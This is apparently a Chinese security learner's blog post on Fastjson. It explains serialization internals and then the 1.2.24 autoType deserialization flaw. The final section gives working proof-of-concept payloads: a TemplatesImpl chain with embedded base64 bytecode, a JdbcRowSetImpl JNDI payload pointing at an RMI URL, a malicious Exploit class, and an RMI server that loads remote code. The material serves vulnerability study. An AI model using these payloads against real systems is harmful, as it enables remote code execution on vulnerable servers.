FastJson入门啦~ 持续更新中

FastJson入门

Fastjson是Alibaba维护的开源JSON解析库,其优势是”快”。它可以解析 JSON 格式的字符串,⽀持将 Java Bean 序列 化为 JSON 字符串,也可以从JSON字符串反序列化到 Java Bean 。

alibaba/fastjson

1
2
3
4
5
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.83</version>
</dependency>

vsersion: 1.2.24

序列化

  • Json.toJSONString
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
package FastJson;

public class Demo {
private String Id;
private String name;
private char sex;
private int score;

public Demo(){
System.out.println("Demo");
this.Id = "1";
this.name = "ameuu";
this.sex = 'F';
this.score = 0;
}

public String getId() {
System.out.println("getId");
return Id;
}

public char getSex() {
System.out.println("getSex");
return sex;
}

public String getName() {
System.out.println("getName");
return name;
}

public int getScore() {
System.out.println("getScore");
return score;
}

public void setId(String id) {
System.out.println("setId");
Id = id;
}

public void setName(String name) {
System.out.println("setName");
this.name = name;
}

public void setSex(char sex) {
System.out.println("setSex");
this.sex = sex;
}

public void setScore(int score) {
System.out.println("setScore");
this.score = score;
}

@Override
public String toString() {
return "Demo{" +
"Id='" + Id + '\'' +
", name='" + name + '\'' +
", sex=" + sex +
", score=" + score +
'}';
}
}

非自省

JSON.toJSONString()|JSON.toJSON,在序列化的时候会自动调用构造函数以及各种get函数

1
2
3
4
5
6
7
8
9
10
11
12
13
package FastJson;

import com.alibaba.fastjson.JSON;

public class Serialize {
public static void main(String[] args) {
Demo demo = new Demo();
String res = JSON.toJSONString(demo);

System.out.println(res); // {"id":"1","name":"ameuu","score":0,"sex":"F"}
System.out.println(JSON.toJSON(demo)); // {"score":0,"sex":"F","name":"ameuu","id":"1"}
}
}

自省

1
2
3
4
5
6
7
public class Serialize {
public static void main(String[] args) {
Demo demo = new Demo();
System.out.println(JSON.toJSONString(demo, SerializerFeature.WriteClassName));
// {"@type":"FastJson.Demo","id":"1","name":"ameuu","score":0,"sex":"F"}
}
}

反序列化

在一开始自己尝试的时候发现:

Demo demo = (Demo)JSON.parse(serialize);会报错

1
2
3
4
5
6
7
8
public class Deserialize {
public static void main(String[] args) {
String serialize = "{\"id\":\"1\",\"name\":\"ameuu\",\"score\":0,\"sex\":\"F\"}";
Object demo = JSON.parse(serialize);
JSONObject demo1 = JSON.parseObject(serialize);
System.out.println(demo1); // 输出出来也只是一串字符串 并没有调用toString
}
}

所以我们可以先获取他的Class,我们可以发现一开始并没有真正得获取到我们原本的对象,然后在第三个方法获得我们的对象的时候会自动调用构造函数并且setter

1
2
3
4
5
6
7
8
9
10
11
12
13
public class Deserialize {
public static void main(String[] args) {
String serialize = "{\"id\":\"1\",\"name\":\"ameuu\",\"score\":0,\"sex\":\"F\"}";
// JSON.parse Class = class com.alibaba.fastjson.JSONObject
System.out.println("JSON.parse Class = "+JSON.parse(serialize).getClass());

// JSON.parseObject Class = class com.alibaba.fastjson.JSONObject
System.out.println("JSON.parseObject Class = "+JSON.parseObject(serialize).getClass());

// JSON.parseObject(String,Class) Class = class FastJson.Demo
System.out.println("JSON.parseObject(String,Class) Class = " +JSON.parseObject(serialize,Demo.class).getClass());
}
}

但是就比如序列化中存在的自省,如果字符串前面有@type,前面两个方法也是可以直接获得原本的对象的,而第一种在输出的时候会直接调用toString方法,而第二种方法虽然输出的时候还是会输出com.alibaba.fastjson.JSONObject,但是会调用setter和getter

1
2
3
4
5
6
7
8
9
public class Deserialize {
public static void main(String[] args) {
String serialize = "{\"@type\":\"FastJson.Demo\",\"id\":\"1\",\"name\":\"ameuu\",\"score\":0,\"sex\":\"F\"}";

System.out.println("JSON.parse Class = "+JSON.parse(serialize));
System.out.println("JSON.parseObject Class = "+JSON.parseObject(serialize).getClass());
System.out.println("JSON.parseObject(String,Class) Class = " +JSON.parseObject(serialize,Demo.class).getClass());
}
}

源码分析

想看一下为什么会调用setter、getter

前置 Feature

名字 作用 默认状态
Feature.AutoCloseSource 决定解析器是否将自动关闭那些不属于parse自己的输入流。Parser close时⾃动关闭为创建Parser实例⽽创建的底层InputStream以及Reader等输⼊流 true
Feature.AllowComment 决定parse是否解析Java/C++样式的注释 false
Feature.AllowUnQuotedFieldNames 决定parse是否允许使用非双引号属性名字 true
Feature.AllowSingleQuotes 决定parse是否允许单引号来包住属性名称和字符串值 true
Feature.InternFieldNames 决定JSON对象属性名称是否可以被String#inter规范化表示。intern:当调用intern方法时,如果已经包含等于此字符串,则返回该字符串,否则,将此对象添加到池中,并且返回此对象的引用。将json字段名作为字面量缓存起来,即fieldName.intern() true
Feature.AllowISO8601DateFormat 识别IOS8601格式的日期字符串,例如:2018-05-31T19:13:42.000Z false
Feature.AllowArbitaryCommas 忽略json中包含的连续的多个逗号,非标准特性 false
Feature.UseBigDecimal 将json中的浮点数解析成BigDecimal对象,禁用后解析成Double对象 true
Feature.IgnoreNotMatch 解析式忽略未知的字段继续完成解析 true
Feature.SortFeidFastMatch 如果用fastjson序列化的文本,输出的结果时按照fieldName排序输出的,parse时也能利用这个顺序进行优化读取。这种情况下,parse能够获得非常好的性能 false
Feature.DisableASM 禁用ASM false
Feature.DisableCircularReferenceDetect 禁用循环引用检测 false
Feature.InitStringFieldAsEmpty 对于没有值的字符串属性设置为空串 false
Feature.SupportArrayToBean 允许将数组按照字段顺序解析成Java Bean false
Feature.OrderedField 解析后属性保持原来的顺序 false
Feature.DisableSpecialKeyDetect 禁用特殊字符检查 false
Feature.UseObjectArray 使用对象数组而不是集合 false
Feature.SupportNonPublicField 使用解析没有setter方法的非public属性 false
Feature.IgnoreAutoType 禁用fastjson的AUTOTYPE特性,即不按照json字符串中的@type自动选择反序列化类 false
Feature.DisableFieldSmartMatch 禁用属性智能匹配,例如下划线自动匹配驼峰 false
Feature.SupportAutoType 启用fastjson的autotype功能,即根据json字符串中的@type自动选择反序列化的类 false
Feature.NonStringKeyAsString 解析时将为用引号包含的json字段名作为String类型存储,否则只能用原始类型获取key的值。。例如String text="{123:\"abc\"}"在启⽤了NonStringKeyAsString后可以 通过JSON.parseObject(text).getString("123")的⽅式获取到”abc”,⽽在不启 ⽤NonStringKeyAsString时,JSON.parseObject(text).getString("123")只 能得到null,必须通过JSON.parseObject(text).get(123)的⽅式才能获取 到”abc”。 false
Feature.CustomMapDeserializer 自定义"{\"key\":vakue}"解析成Map实例,否则解析为JSONObject false
Feature.ErrorOnEnumNotMatch 枚举未匹配到时抛出异常,否则解析为null false

序列化

利用toJSONString(object)的时候,依次调用三个toJSONString最后传入 JSONSerializer#write对object进行JSON序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
public static String toJSONString(Object object) {
return toJSONString(object, emptyFilters);
//static final SerializeFilter[] emptyFilters = new SerializeFilter[0];
}

public static String toJSONString(Object object, SerializeFilter[] filters, SerializerFeature... features) {
return toJSONString(object, SerializeConfig.globalInstance, filters, (String)null, DEFAULT_GENERATE_FEATURE, features);
// public static final SerializeConfig globalInstance = new SerializeConfig();
// DEFAULT_GENERATE_FEATURE = features;
}

public static String toJSONString(Object object, SerializeConfig config, SerializeFilter[] filters, String dateFormat, int defaultFeatures, SerializerFeature... features) {
SerializeWriter out = new SerializeWriter((Writer)null, defaultFeatures, features); // 实例化

String var15;
try {
JSONSerializer serializer = new JSONSerializer(out, config); // 实例化JSONSerializer out : ""
if (dateFormat != null && dateFormat.length() != 0) { // null 不进入
serializer.setDateFormat(dateFormat);
serializer.config(SerializerFeature.WriteDateUseDateFormat, true);
}

if (filters != null) { // SerializeFilter
SerializeFilter[] var8 = filters;
int var9 = filters.length;

for(int var10 = 0; var10 < var9; ++var10) {
SerializeFilter filter = var8[var10];
serializer.addFilter(filter);
}
}

serializer.write(object); // JSONSerializer#write
var15 = out.toString();
} finally {
out.close();
}

return var15;
}

JSONSerializer#write

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public final void write(Object object) {
if (object == null) {
this.out.writeNull();
} else {
Class<?> clazz = object.getClass(); // FastJson.Demon.Class
ObjectSerializer writer = this.getObjectWriter(clazz);

try {
writer.write(this, object, (Object)null, (Type)null, 0);
} catch (IOException var5) {
throw new JSONException(var5.getMessage(), var5);
}
}
}
1
2
3
public ObjectSerializer getObjectWriter(Class<?> clazz) {
return this.config.getObjectWriter(clazz); // this.config = SerializeConfig
}

SerializeConfig#getObjectWriter

1
2
3
public ObjectSerializer getObjectWriter(Class<?> clazz) {
return this.getObjectWriter(clazz, true); // Class FastJson.Demon
}

在这里会判断我们传如的对象是什么对象,因为是我们自己创建的对象,所以会到最后的create才进去,调用put和createJavaBeanSerializer,之后便是获取传进去的类的filed,最后返回write(

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
private ObjectSerializer getObjectWriter(Class<?> clazz, boolean create) { // Demo true
// this.serializers = IdentityHashMao
ObjectSerializer writer = (ObjectSerializer)this.serializers.get(clazz);
ClassLoader classLoader;
Iterator var5;
Object o;
AutowiredObjectSerializer autowired;
Iterator var8;
Type forType;
if (writer == null) {
……

writer = (ObjectSerializer)this.serializers.get(clazz);
}

if (writer == null) {
……
}

if (writer == null) {
if (Map.class.isAssignableFrom(clazz)) {
……
} else if (!TimeZone.class.isAssignableFrom(clazz) && !Entry.class.isAssignableFrom(clazz)) {
if (Appendable.class.isAssignableFrom(clazz)) {
……
} else {
String className = clazz.getName();
……
if (create) { // true
this.put((Type)clazz, (ObjectSerializer)this.createJavaBeanSerializer(clazz));
}
}
} else {
this.put((Type)clazz, (ObjectSerializer)CalendarCodec.instance);
}
} else {
this.put((Type)clazz, (ObjectSerializer)MiscCodec.instance);
}

writer = (ObjectSerializer)this.serializers.get(clazz);
}

return writer;
}

write为ASMSerializer_1_Demo,其父类为JavaBeanSerializer,所以总的来说会去调用JavaBeanSerializer#write

img

最后调用ObjectSerializer#write,之后实现调用getter,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public final void write(Object object) {
if (object == null) {
this.out.writeNull();
} else {
Class<?> clazz = object.getClass();
ObjectSerializer writer = this.getObjectWriter(clazz);

try {
writer.write(this, object, (Object)null, (Type)null, 0);
} catch (IOException var5) {
throw new JSONException(var5.getMessage(), var5);
}
}
}

并且在SerializeWriter将从getter中获取到的field,JSON序列化之后写入buf中

反序列化

JSON.parse
1
{"@type":"FastJson.Demo","id":"1","name":"ameuu","score":0,"sex":"F"}

先利用parse创建对象,创建了DefaultJSONParser对象,根据字符串开头为{或者[给token赋值,并next下移判断字符

1
2
3
4
5
6
7
8
9
10
11
public static Object parse(String text, int features) {
if (text == null) {
return null;
} else {
DefaultJSONParser parser = new DefaultJSONParser(text, ParserConfig.getGlobalInstance(), features);
Object value = parser.parse();
parser.handleResovleTask(value);
parser.close();
return value;
}
}

DefaultJSONParser#parse中创建了JSONObject对象,并在parseObject进行解析

img

因为token已经变成12,直接进入else。利用死循环(300+行😭)对字符进行解析

skipWhitespace,当字符为 |\r|\n|\t|\f|\b|的时候不会解析或者当字符串为/**/注释的时候也不会解析。当lexer.isEnabled(Feature.AllowArbitraryCommas)成立的时候,连续的逗号也不会被解析

img

JSONLexerBase#scanSymbol把两个相邻的并且没用被\转义的quote之间的字符串截取出来。

就比如根据我前面传进去的,最先得到的是@type

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
public final String scanSymbol(SymbolTable symbolTable, char quote) {
int hash = 0;
this.np = this.bp;
this.sp = 0;
boolean hasSpecial = false;

while(true) {
char chLocal = this.next();
if (chLocal == quote) { // 如果前后字符相等
this.token = 4;
String value;
if (!hasSpecial) {
int offset;
if (this.np == -1) {
offset = 0;
} else {
offset = this.np + 1;
}
value = this.addSymbol(offset, this.sp, hash, symbolTable);
} else {
value = symbolTable.addSymbol(this.sbuf, 0, this.sp, hash);
}
this.sp = 0;
this.next(); // 继续取下一个字符
return value; // 返回两个quote之间的字符串
}
……
if (chLocal == '\\') {
……
} else {
hash = 31 * hash + chLocal;
if (!hasSpecial) {
++this.sp;
} else if (this.sp == this.sbuf.length) {
this.putChar(chLocal);
} else {
this.sbuf[this.sp++] = chLocal;
}
}
}
}

SymbolTable#addSymbol比较是否相等,返回字符串,这里返回的是@type

img

DefaultJSONParser#parseObject,如果存在标识@type,且禁用了特殊字符检查,就会继续获取下一个""之间的字符串(即我们的类名)并返回给ref,并利用TypeUtils#loadClass加载类

1
public static String DEFAULT_TYPE_KEY = "@type";

ParseConfig#getDesearilizer中获取反序列化对象,并执行反序列化方法,而对对象也进行了黑名单过滤

1
2
3
4
5
6
for(int i = 0; i < this.denyList.length; ++i) {
String deny = this.denyList[i];
if (className.startsWith(deny)) {
throw new JSONException("parser deny : " + className);
}
}

跟进到ParseConfig#createJavaBeanDesrializer,其中创建了JavaBeanDeserializer

img

JavaBeanInfo#build中获取clazz的属性、方法和构造器

1
2
3
4
5
6
7
8
Class<?> builderClass = getBuilderClass(jsonType);
Field[] declaredFields = clazz.getDeclaredFields();
Method[] methods = clazz.getMethods();
Constructor<?> defaultConstructor = getDefaultConstructor(builderClass == null ? clazz : builderClass);

if (defaultConstructor != null) { // 获得访问权限
TypeUtils.setAccessible(defaultConstructor);
}

将符合条件的setter和getter添加进fieldList

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
if (methodName.length() >= 4 && !Modifier.isStatic(method.getModifiers()) && (method.getReturnType().equals(Void.TYPE) || method.getReturnType().equals(method.getDeclaringClass()))) { // 如果名字长度大于等于4 不是静态方法 返回值为空或者为其他类型
Class<?>[] types = method.getParameterTypes(); // 参数类型
if (types.length == 1) { // 参数个数为1
……
if (methodName.startsWith("set")) { // 如果方法以 set开始
……
if (fieldAnnotation.name().length() != 0) {
propertyName = fieldAnnotation.name();
add(fieldList, new FieldInfo(propertyName, method, field, clazz, type, ordinal, serialzeFeatures, parserFeatures, annotation, fieldAnnotation, (String)null));
continue;
}
……

if (propertyNamingStrategy != null) {
propertyName = propertyNamingStrategy.translate(propertyName);
}
add(fieldList, new FieldInfo(propertyName, method, field, clazz, type, ordinal, serialzeFeatures, parserFeatures, annotation, fieldAnnotation, (String)null));
}
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
if (methodName.length() >= 4 && !Modifier.isStatic(method.getModifiers()) && methodName.startsWith("get") && Character.isUpperCase(methodName.charAt(3)) && method.getParameterTypes().length == 0 && (Collection.class.isAssignableFrom(method.getReturnType()) || Map.class.isAssignableFrom(method.getReturnType()) || AtomicBoolean.class == method.getReturnType() || AtomicInteger.class == method.getReturnType() || AtomicLong.class == method.getReturnType())) {
// 方法名长度大于4 非静态方法 以get为开头 第四位字符大写 无参数 返回值类型为结合、布尔、整型或者长整型
JSONField annotation = (JSONField)method.getAnnotation(JSONField.class);
if (annotation == null || !annotation.deserialize()) {
……
if (fieldInfo == null) {
if (propertyNamingStrategy != null) {
propertyName = propertyNamingStrategy.translate(propertyName);
}

add(fieldList, new FieldInfo(propertyName, method, (Field)null, clazz, type, 0, 0, 0, annotation, (JSONField)null, (String)null));
}
}
}

build结束之后会实例化一个JavaBeanInfo

ParseConfig#createJavaBeanDesrializer在build之后调用了ASMDeserializerFactory#createJavaBeanDesrializer,在这里将字节码放入数组中,并通过defineClassConstruct创建一个反序列化类,并未每个属性创建FieldDeserializer,为之后的反序列化做准备

img

img

JavaBeanDeserializer#deserialize中判断是否只有get,如果不是则直接调用了fieldDeser.setValue实则为FieldDeserializer#setValue

img

实现调用setter

img

小结:

在分析JSON.parse的时候可以知道:

调用setter满足的条件:

  • 方法名长度大于4并且以set开始
  • 不是静态方法
  • 返回值为空或者当前类
  • 参数个数为1

调用getter满足的条件:

  • 方法名长度大于4且以get开始
  • 不是静态方法
  • 返回值为集合等
  • 无参数
  • 第四个字符是大写的

FastJson反序列化漏洞

1.2.24

由于version 1.2.24默认开启autoType,使得攻击者可以控制@type后面的类,而fastjson会根据json字符串中的@type自动选择反序列化的类,并自动调用类中的get和set方法,如果这些方法存在漏洞,就可以恶意利用了

Demo

就比如我们创建一个恶意类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
package FastJson;

import java.io.IOException;

public class FJDemo {
private String name;

public FJDemo() {
this.name = "calc";
}

public void setName(String name) {
this.name = name;
}

public String getName() throws IOException {
Runtime.getRuntime().exec(name);
return name;
}
}

将他序列化(当然序列化的时候发现也会调用啦

1
{"@type":"FastJson.FJDemo","name":"calc"}

反序列化:

1
2
3
4
5
6
7
8
import com.alibaba.fastjson.JSON;

public class Deserialize {
public static void main(String[] args) {
String serialize = "{\"@type\":\"FastJson.FJDemo\",\"name\":\"calc\"}";
JSON.parseObject(serialize);
}
}

img

TemplatesImpl

POC:

1
2
3
4
5
6
7
8
9
{
"@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
"_bytecodes": [
"……" // base64加密的字节码
],
"_name": "aaa",
"_tfactory": {},
"_outputProperties": {}
}

1.这里不要忘了前面讲到TemplatesImpl动态加载字节码的时候,类要继承com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet

2.这里把exec放在set方法中没有执行成功

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
package FastJson;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class FJDemo extends AbstractTranslet {
private String name;

public FJDemo() throws Exception {
Runtime.getRuntime().exec("calc");
}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}

public void setName(String name) {
this.name = name;
}

public String getName() throws IOException {
return name;
}

public static void main(String[] args) throws Exception {
FJDemo fjDemo = new FJDemo();
}
}

exp:

TemplatesImpl Gadget重点在于_bytecodes_outputProperties,而TemplatesImpl中也存在大量private的属性没有setter或者getter,所以要设置Feature.SupportNonPublicField=true

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
package FastJson;


import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;

import java.util.Base64;


public class Deserialize {

public static void main(String[] args) throws Exception{
String str = "{\n" +
" \"@type\": \"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\n" +
" \"_bytecodes\": [\n" +
"\"yv66vgAAADQALgoACAAeCgAfACAIACEKAB8AIgkABgAjBwAkCgAGAB4HACUBAARuYW1lAQASTGphdmEvbGFuZy9TdHJpbmc7AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACkV4Y2VwdGlvbnMHACYBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYHACcBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAHc2V0TmFtZQEAFShMamF2YS9sYW5nL1N0cmluZzspVgEAB2dldE5hbWUBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwcAKAEABG1haW4BABYoW0xqYXZhL2xhbmcvU3RyaW5nOylWAQAKU291cmNlRmlsZQEAC0ZKRGVtby5qYXZhDAALAAwHACkMACoAKwEABGNhbGMMACwALQwACQAKAQAPRmFzdEpzb24vRkpEZW1vAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvbGFuZy9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABNqYXZhL2lvL0lPRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAYACAAAAAEAAgAJAAoAAAAGAAEACwAMAAIADQAAAC4AAgABAAAADiq3AAG4AAISA7YABFexAAAAAQAOAAAADgADAAAADgAEAA8ADQAQAA8AAAAEAAEAEAABABEAEgACAA0AAAAZAAAAAwAAAAGxAAAAAQAOAAAABgABAAAAFQAPAAAABAABABMAAQARABQAAgANAAAAGQAAAAQAAAABsQAAAAEADgAAAAYAAQAAABoADwAAAAQAAQATAAEAFQAWAAEADQAAACIAAgACAAAABiortQAFsQAAAAEADgAAAAoAAgAAAB0ABQAeAAEAFwAYAAIADQAAAB0AAQABAAAABSq0AAWwAAAAAQAOAAAABgABAAAAIQAPAAAABAABABkACQAaABsAAgANAAAAJQACAAIAAAAJuwAGWbcAB0yxAAAAAQAOAAAACgACAAAAJQAIACYADwAAAAQAAQAQAAEAHAAAAAIAHQ==\"\n" +
" ],\n" +
" \"_name\": \"aaa\",\n" +
" \"_tfactory\": {},\n" +
" \"_outputProperties\": {}\n" +
" }";
JSON.parse(str,Feature.SupportNonPublicField);
}
}
浅析:

前面一大段和前面分析反序列化源码的时候一样,重复的就不解析了

JavaBeanDeserializer#deserialize中在解析属性的时候跟进到JavaBeanDeserializer#parseFieldJavaBeanDeserializer#smartMatch

之后在DefaultFieldDeserializer#parseField中对_bytecodes进行base64解密

img

当key为_outputPropertie时,因为变量名和数组中的名字不匹配,使得获取这个Filed的deserializer的时候会返回null

img

在后面对属性名进行判断将_|-删掉,因为在获取属性名的时候,一开始也是从get|set后面截取,再此进去getFieldDeserializer,如果匹配到就返回该FieldDeserializer

img

img

之后在setValue中调用TemplatesImpl#getOutputProperties

img

之后就是之前在CC3 分析过的TemplatesImpl的链子 已知TemplatesImpl存在defineClass处理字节码

跟进到TemplatesImpl#newTransformer,在实例化TransformerImpl的时候调用到了getTransletInstance,然后在defineTransletClasses中调用了definClass来处理我们传进去的恶意类的字节码

实现恶意类的实例化

img

img

JNDI JdbcRowSetImpl

因为反序列化的时候会直接去调用类的get、set或者默认的构造方法,那么我们可以先简单地看一下这些方法

JdbcRowSetImpl
1
public class JdbcRowSetImpl extends BaseRowSet implements JdbcRowSet, Joinable {}

默认的构造方法,大部分是set方法,实现变量的初始化,然后set和get也没有什么带有漏洞的,那么我们可以去看一下别的方法,就比如根据对JNDI的了解,实现JNDI注入客户端要能调用到lookup,然后我们传入带有恶意类的RMI URL或者LDAP URL就好了,那么就直接全局搜索lookup

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
public JdbcRowSetImpl() {
this.conn = null;
this.ps = null;
this.rs = null;

try {
this.resBundle = JdbcRowSetResourceBundle.getJdbcRowSetResourceBundle();
} catch (IOException var10) {
throw new RuntimeException(var10);
}

this.initParams();

……

this.iMatchColumns = new Vector(10);

int var1;
for(var1 = 0; var1 < 10; ++var1) {
this.iMatchColumns.add(var1, -1);
}

this.strMatchColumns = new Vector(10);

for(var1 = 0; var1 < 10; ++var1) {
this.strMatchColumns.add(var1, (Object)null);
}

}

可以在connect那里发现lookup,然后传入的是dataSource

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
private Connection connect() throws SQLException {
if (this.conn != null) {
return this.conn;
} else if (this.getDataSourceName() != null) {
try {
InitialContext var1 = new InitialContext();
DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
return this.getUsername() != null && !this.getUsername().equals("") ? var2.getConnection(this.getUsername(), this.getPassword()) : var2.getConnection();
} catch (NamingException var3) {
throw new SQLException(this.resBundle.handleGetObject("jdbcrowsetimpl.connect").toString());
}
} else {
return this.getUrl() != null ? DriverManager.getConnection(this.getUrl(), this.getUsername(), this.getPassword()) : null;
}
}

而再全局搜索一下connect,发现getDatabaseMetaDatasetAutoCommit方法会自动调用this.connect(),不过这该怎么用就要看用parse还是parseObject进行反序列化

img

img

demo

poc:

1
2
{"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://ip:1099/Exploit", "autoCommit":true}

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import javax.naming.Context;
import javax.naming.Name;

import javax.naming.spi.ObjectFactory;
import java.io.IOException;
import java.io.Serializable;
import java.util.Hashtable;
public class Exploit implements ObjectFactory, Serializable {
public Exploit() {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}
public static void main(String[] args) {
Exploit exploit = new Exploit();
}
public Object getObjectInstance(Object obj, Name name, Context nameCtx,
Hashtable<?, ?> environment) throws Exception {
return null;
}
}

不知道为什么用vps和marshalsec会报错,但是jdk版本也是8u112,所以最后在本地自己开JNDI服务,然后用phpstudy开一个端口8000,然后运行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
package JNDI.RMI;

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class JNDIServer {
public static void main(String[] args) throws Exception{
// 提供服务 注册 将对象与对应的Name进行绑定
Registry registry = LocateRegistry.createRegistry(1099);
Reference reference = new Reference("Exploit","Exploit","http://127.0.0.1:8000/");
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("Exploit", referenceWrapper);
}
}

客户端:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
package JNDI.RMI;

import com.alibaba.fastjson.JSON;
import com.sun.jndi.rmi.registry.RegistryContext;

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.util.Properties;

public class JNDIClient {
public static void main(String[] args) throws NamingException {
String poc = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\n" +
"\"dataSourceName\":\"rmi://127.0.0.1:1099/Exploit\", \"autoCommit\":true}";
JSON.parse(poc);
}
}

Reference

FaIth4444师傅

https://www.yuque.com/jinjinshigekeaigui/qskpi5/zuz3ad#PYn7q

https://blog.csdn.net/weixin_44687621/article/details/119947891